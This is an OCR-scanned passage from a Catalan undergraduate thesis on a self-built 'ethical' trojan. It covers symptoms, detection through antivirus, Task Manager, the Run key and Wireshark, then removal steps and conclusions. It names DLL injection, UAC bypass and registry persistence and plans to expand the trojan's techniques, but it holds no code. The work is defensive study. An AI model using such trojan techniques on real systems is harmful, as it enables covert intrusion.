emergents. Els troians utilitzen aquesta estrategia no només per a causar molésties,
sind també per a manipular les accions en linia de I'usuari. A mesura que el troia gua-
nya control sobre la navegacio web, pot redirigir I'usuari cap a llocs web maliciosos o
estafes de phishing.

7.1.3 Canvis en el sistema

Un simptoma clau d'infeccid per troians és I'aparicié de canvis no autoritzats en la
configuracid del sistema. Aixo pot incloure alteracions en les configuracions de segu-
retat, com la desactivacio de I'antivirus o del firewall, canvis en la configuracio del
navegador (com una nova pagina d'inici o I'addicio de barres d'eines desconegudes), i
modificacions en els fitxers del sistema o en el registre de Windows. Aquests canvis,
sovint realitzats de manera discreta pel troia per assegurar la seva persisténcia i evitar
la seva deteccio, poden comprometre la seguretat del sistema i exposar-lo a riscos ad-
dicionals. Per aixo, és crucial estar atent a qualsevol modificacio inesperada en la con-
figuracio.

7.2 Detectar el troia

Una vegada hem identificat un o mes dels simptomes descrits a I'apartat anterior, és
vital prendre mesures per confirmar si realment un troia esta operant dins del nostre
sistema. Aquesta seccio es dedica a explorar com podem detectar de manera efectiva
la preséncia i activitat d'un troia, una tasca que pot ser complexa a causa de la natura-
lesa oculta i enganyosa d'aquests tipus de malware.
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7.2.1 Mitjancant antivirus

Per poder detectar un virus en un sistema informatic, es pot fer servir un software
antivirus, que és una eina essencial per preservar la seguretat dels dispositius. Esta
dissenyat amb I'objectiu principal de detectar, bloguejar i eliminar el malware, incloent
virus, spyware i altres tipus de software malicios.

Els antivirus utilitzen diverses tecniques per detectar malware, com la identificacio de
patrons de malware, la monitoritzacié de comportaments sospitosos i la comparacio
d'arxius amb bases de dades de signatures de malware conegudes. A més, és crucial
mantenir el software antivirus actualitzat per protegir-se contra les darreres amenaces,
ja que els desenvolupadors d'antivirus actualitzen continuament les seves bases de da-
des amb les signatures dels nous virus i malware detectats.

Veiem ara si un antivirus qualsevol, com podria ser I'Avast, és capa¢ de detectar el
nostre loader i també si és capac de detectar la DLL maliciosa:

. Avast Free Antivirus (| Notificaciones = Menli

Sistema operativo Virus y malware Problemas avanzados
Analizando...

encontradas

Estos intrusos pueden dafiar su equipo o su privacidad. Se recomienda encarecidamente enviarlos a la Cuarentena.

¥ Nombre de la amenaza Archivo infectado

L @I Win64:TrojanX-gen [Trj] C:\Users\Sergio\Desktop\lnnocentDLL.dll

v @I Win64:ExploitX-gen [Expl] C:\Users\Sergio\Desktop\lnnocentFile.exe

Figura 60 Avast detectant el loader i la DLL

També cal remarcar que una dependéncia excessiva en els programes d'antivirus pot
conduir a una falsa sensacié de seguretat, donat que aquests programes no sempre de-
tecten les amenaces més recents o avancgades, especialment si aquestes utilitzen tecni-
ques sofisticades d'evasio o encriptacio.

7.2.2 Executable sospitds agregat a la clau Run

La clau Run al registre de Windows és utilitzada per alguns tipus de malware per exe-
cutar programes de forma automatica en iniciar el sistema operatiu. Per tant, monito-
ritzar aquesta clau pot ser Gtil per detectar la preséncia de malware en un sistema.
Alguns passos que es poden seguir per detectar malware a traves de la clau Run inclo-
uen la inspeccio de les entrades en aquesta clau per identificar programes desconeguts
0 sospitosos, i la verificacid de la ubicacio dels fitxers associats amb aquestes entrades
per assegurar-se que no siguin maliciosos.

Tot i aix0, no es pot confiar Gnicament en aquesta tactica, ja que els troians més sofis-

ticats poden emprar métodes alternatius que no deixen rastre en la clau Run. Aquests
poden incloure I'ds de tactiques com tasques programades, que permeten programar
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I'execucié de malware en moments especifics. També serveis del sistema, que poden
registrar el malware com un servei de Windows legitim i dificultar-ne la deteccio.

7.2.3 Analisi de processos a I'Administrador de Tasques

Per detectar la presencia de malware en un sistema, una de les eines més Utils és I'Ad-
ministrador de Tasques de Windows. Aquesta eina permet als usuaris veure i supervisar
tots els processos actius a I'ordinador. En obrir I'Administrador de Tasques, €s possible
identificar processos sospitosos que poden ser indicatius d'una infeccio per malware.
Aquests processos sovint tenen noms desconeguts o inusuals, i poden no tenir una
descripci6 clara o un fabricant identificable. A més, si un procés esta utilitzant una
quantitat molt alta de recursos, com ara la memoria o la CPU, aix0 també pot ser un
senyal d'alerta. Tot i que I'Us elevat de recursos no sempre indica la preséncia de
malware, ja que alguns programes legitims poden ser exigents en quant a recursos.
Una analisi més detallada d'aquests processos pot ajudar a determinar si estan relacio-
nats amb activitats malicioses.

Per fer la prova, es testejara el troia fent la injeccié DLL al bloc de notes:

Administrador de tareas 2, Busque un nombre, publicador o PID

Procesos E‘a Ejecutar nueva tarea @ Fin

0

Procesos ) A0% 889%
Membre Estado CPU Memoria

Rendimiento

Aplicaciones (12)

@ Historial de aplicaciones

b Administrador de tareas 0% 62,7 MEB

g Aplicaciones de arranque ~ £ Bloc denotas (7) 0% 101,9 ME

[ conda 0% 0,9 MB

&8 Usuarios B conhost 0% 2,1 MB

BN conhost 0% 21ME

‘= Detalles B Notepad.exe 0%  259MB

e EN powershell 0% 27,7 MB
Servici

ernvicios EX powershell 0% 28,1 MB

[ python 0% 15,0 MB

& Configuracion (D] 0% 0MB

[ Editor del Registro 0% 1,0 MB

= Explorador de Windows (2) 0% 1226 MB

Figura 61: Analitzant processos amb 1’ Administrador de Tasques

Com es pot apreciar, hi ha molts processos que no sén normals en un bloc de notes i
no tan sols aixo, sind que esta utilitzant uns 101,9 MB de memoria, una memaoria molt
elevada per ser el bloc de notes. Per tant, podem tenir indicis que el nostre ordinador
esta infectat per algun tipus de malware.

7.2.4 Deteccio mitjancant el trafic de la xarxa

Una altra técnica eficag per a la deteccid de troians consisteix en la captura i analisi
del trafic de xarxa del nostre ordinador. Aquesta tasca es pot realitzar eficientment
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mitjancant eines com Wireshark, un analitzador de protocol potent i ampliament uti-
litzat en la seguretat informatica.

No obstant aix0, cal destacar que aquest no és un métode senzill, ja que requereix
coneixements especialitzats en xarxes i seguretat informatica. L'Gs de Wireshark im-
plica la capacitat de comprendre i interpretar el trafic de xarxa, incloent-hi protocols,
ports i IP. A través d'aquesta analisi, es poden identificar patrons de trafic inusuals o
sospitosos, com podrien ser les comunicacions constants amb determinades adreces IP
desconegudes o poc fiables, que podrien indicar la presencia d'un troia.

A més, Wireshark permet el seguiment detallat del trafic, facilitant la identificacié de
possibles fluxos de dades maliciosos.

uae RE Re==ZF 83 = QQaH
Mo. Time Source Destination Protocol Lengtt Info
298 14.455145 192.168.1.26 142.250.184.2 upp 75 55739 » 443 Len=33
299 14.581611 192.168.1.26 239.255.255.250 IGMPv2 46 Membership Report group 239.255.255.258
380 14.849937 142.258.184.2 192.168.1.26 ubpP 345 443 » 55739 Len=383
381 14.658115 142.258.184.2 192.168.1.26 upopP 179 443 » 55739 Len=137
382 14.650281 1592.168.1.26 142.256.184.2 upp 79 55739 » 443 Len=37
383 14.672817 142.258.184.2 192.168.1.26 UDP 7@ 443 -+ 55739 Len=218
384 14.736936 192.168.1.26 58.19.242.2 TLSw1.2 365 Application Data
385 14.814517 152.168.1.26 157.96.8.38 54 34880 -+ 443 [RST, ACK] Seq=125 Ack=1 Win=0 Len=8
386 14.823313 56.19.242.2 192.168.1.26 TLSv1.2 188 Application Data
387 14.823583 192.168.1.26 58.19.242.2 TLSv1.2 2388 Application Data
388 14.911256 58.19.242.2 192.168.1.26 TCP 6@ 443 -+ 34825 [ACK] Seq=55 Ack=2558 Win=428 Len=8
389 15.145848 56.19.242.2 192.168.1.26 TLSv1.2 512 Application Data
318 15.187445 1592.168.1.26 50.19.242.2 TCP 54 34825 = 443 [ACK] 5eq=2558 Ack=513 Win=1822 Len=0
311 15.445928 192.168.1.26 142.258.184.2 UDP 1399 55739 + 443 Len=1357
312 15.445959 192.168.1.26 142.258.184.2 upopP 1399 55739 » 443 Len=1357
313 15.445979 192.168.1.26 142.250.184.2 upp 623 55739 » 443 Len=581

Figura 62: Analitzant el trafic del sistema amb Wireshark

7.3 Eliminacio del troia

Despreés d'haver identificat indicis d'activitat maliciosa al nostre sistema, haurem de
prendre accions per poder eliminar-la. Aquesta seccio esta enfocada com a guia del
procés que cal seguir per erradicar el malware detectat.

1. Desconnectar internet: Quan es detecta la preséncia d'un troia en el sistema,
el primer pas critic a seguir és desconnectar immediatament I'equip d'internet.
Aquesta accio es fonamental per diverses raons. En primer lloc, impedeix que
el troia pugui comunicar-se amb els seus servidors de command and control
(C&C), fet que pot limitar la seva capacitat per a rebre noves instruccions, des-
carregar més malware o filtrar dades personals. A més, desconnectar-se d'in-
ternet evita que el troia pugui estendre’s a altres equips connectats a la mateixa
xarxa, reduint aixi el risc d'una infeccié més gran.

2. Passar I’antivirus: Un cop s’ha desconnectat I'equip d'internet, és hora de pas-
sar l'antivirus. L'antivirus buscara i eliminara qualsevol arxiu o procés infectat
pel troia.

3. Iniciar en mode segur: Si no hem sigut capacos d'eliminar el troia amb I’an-
tivirus, el seglent pas sera arrencar el Windows en mode segur. En aquesta
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modalitat simplificada del teu sistema operatiu, nomes es carreguen els com-
ponents essencials, com ara operadors, serveis i funcions basiques. La resta,
incloent els troians, es manté desactivada. A continuacio, reiniciem el pro-
grama antimalware. Habitualment, aquest proces és efica¢ per desfer-se del
troia. Cal destacar que, en mode segur, €s possible detectar troians que podrien
haver-se ignorat en un entorn normal.

Restaurar el sistema: Si el troia continua present, una altra opcio és restaurar
el sistema a un punt anterior en que I'equip estava net. Aquesta accio es coneix
com a restauracio del sistema i pot ser particularment util si existeixen punts
de restauracio establerts abans que el troia infectes 1’ordinador.

Reinstal-lacié de Windows: Si no s'ha aconseguit eliminar el troia ni tan sols
amb la restauracio del sistema, I'Gltima opcid a considerar és la reinstal-lacio
completa del sistema operatiu. Agquesta accio suposara I'eliminacié de totes les
dades de I'ordinador, incloent qualsevol malware present. Abans, pero, és es-
sencial realitzar una copia de seguretat de Windows i emmagatzemar-la en un
disc dur extern per assegurar la integritat de les dades.
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8. Conclusions i perspectives a llarg termini per al troia

Vaig decidir enfocar-me en els troians per 1'habilitat que tenen d’infiltrar-se sigil-losa-
ment i operar en els sistemes. Quines formes hi hauria de poder detectar-los i protegir-
nos com a usuaris? Arran de la curiositat, i de voler aportar llum en el camp de la
ciberseguretat per fer front a les amenaces virtuals creixents, vaig decidir basar el Tre-
ball de Fi de Grau en aquesta area. Després de la creacid d’aquest troia amb finalitat
¢tica, aquestes son algunes de les conclusions a les quals s’ha arribat:

e Larecopilacio i aplicacid de técniques freqiients de troians actuals al troia étic
creat, ha permes replicar de manera controlada i segura les seves estratégies
més comunes, contribuint aixi a una comprensié més profunda del troia.

e L’analisi en profunditat de les técniques més utilitzades ha estat fonamental
per poder plantejar com protegir-se davant d’aquestes amenaces. Mitjangant
les técniques que s’han implementat al troia creat, s’han pogut recopilar meto-
des de deteccid com podrien ser 1’analisi de processos amb 1’ Administrador de
Tasques, mirant els valors d’alguns dels registres meés utilitzats per aquests
malware o I’analisi del trafic del nostre ordinador.

e Elsregistres de Windows sén un mecanisme freqlientment utilitzat pels troians
en les seves operacions. Els troians sovint s'aprofiten dels registres per amagar
la seva presencia i establir persisténcia al sistema infectat i també per desacti-
var algunes de les mesures de seguretat.

e L'estudi destaca com la injeccid DLL és una técnica comuna i efectiva uti-
litzada pels troians per executar codi malicids sense ser descoberts, ja que quan
el troia esta en execucio, I'antivirus no és capa¢ de detectar-lo. Per tant, cal tenir
en compte que s han de revisar els processos que estan en execucid per detectar
alguna anomalia.

e FEls vectors més comuns d’infeccié son: mitjangant la descarrega de software
malicios i arxius maliciosos adjunts en correus de phising. Per tant, hem de
tenir en compte el software que descarreguem d’internet, que sigui de fonts
fiables, i assegurar-nos de 1’autenticitat del remitent del correu electronic.

e Agquests troians acostumen a ser controlats per un servidor command and con-
trol (C&C). La maquina infectada sol estar controlada perqué aquesta envii la
informacié al servidor. Per tant, si desactivéssim I’internet de la nostra
maquina, no existiria aquesta connexié amb el servidor i el troia perdria part
del poder, donat que no podria ni controlar la maquina ni rebre les seves dades.
Aleshores, el primer pas si sospitem que el nostre ordinador esta infectat es
desconnectar-lo de la xarxa

Com he esmentat anteriorment, aquest projecte esta desenvolupat amb finalitats éti-
ques i amb 1’objectiu d’aportar claus que puguin ajudar als usuaris a estar més prote-
gits. Les conclusions extretes fins ara, podrien anar-se ampliant més endavant, amb
I’objectiu de comptar amb més informacio6 per seguir augmentant el coneixement i la
proteccid. En aquest sentit, hi hauria diferents plans a futur per a aquest projecte:
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Un dels plans a futur per al troia desenvolupat és poder integrar un ampli ven-
tall de técniques. Per exemple, que el troia sigui capag d'elevar els seus privi-
legis de diferents maneres (no només bypassejant la UAC) o guanyar persisten-
ciad' altres formes, per aixi observar com es comporta en els diferents sistemes
i obtenir un coneixement més profund sobre els impactes que poden arribar a
ocasionar. En definitiva, poder recopilar absolutament totes les tecniques que
s'utilitzen, per tenir un troia molt versatil de mostra. Aixi es podria utilitzar
com un troia de prova i es podrien testejar les defenses del sistema. A més, els
usuaris podrien conéixer a fons com operen, minimitzant aixi els danys que
poguessin ocasionar.

Una vegada recopilades totes les tecniques possibles, ja comptem amb una vi-
si6 global sobre com funcionen aquest tipus de malware. El segiient pas seria
crear una eina antivirus, perqué a partir de totes les tecniques recopilades sigui
capac de detectar que el sistema esta infectat amb un troia. No només aixo, sind
que també sigui capa¢ de poder-lo eliminar del sistema i mitigar els danys el
maxim possible.
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